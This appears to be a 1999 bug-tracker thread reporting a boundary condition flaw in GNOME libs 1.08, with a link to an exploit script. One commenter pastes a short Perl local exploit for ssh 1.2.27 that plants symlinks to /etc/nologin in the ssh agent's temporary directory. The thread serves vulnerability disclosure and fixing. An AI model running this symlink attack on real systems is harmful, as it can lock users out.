Gnome libs 1.08 is affected by a boundary condition error. For further details see exploit URL: http://www.securityfocus.com/data/vulnerabilities/exploits/gnox.sh I've also seen a local exploit for ssh 1.2.27 floating around, but since that isnt included with redhat 6 officially..i dont know where to post it.
FWIW, there are no setuid/setgid root programs that ship with GNOME. ------- Additional Comments From 10/04/99 20:06 ------- hmm...here's the exploit for ssh : #!/usr/bin/perl $pid = $$; $whoami = `whoami`; chop($whoami); mkdir("/tmp/ssh-$whoami", 0700); for ($i = $pid; $i < $pid+50; $i++) { symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent"); } and a relevant link : http://www.securityfocus.com/vdb/bottom.html?section=discussion&vid=660
Huh? What does ssh have to do with gnome-libs? ------- Additional Comments From 10/10/99 17:54 ------- sorry...just found the ssh thing that was floating around and didnt know where to post it..anyway, can we now fix both bugs ? or should i resubmit it somewhere else ?
This bug is fixed in esound cvs, will be in next release.
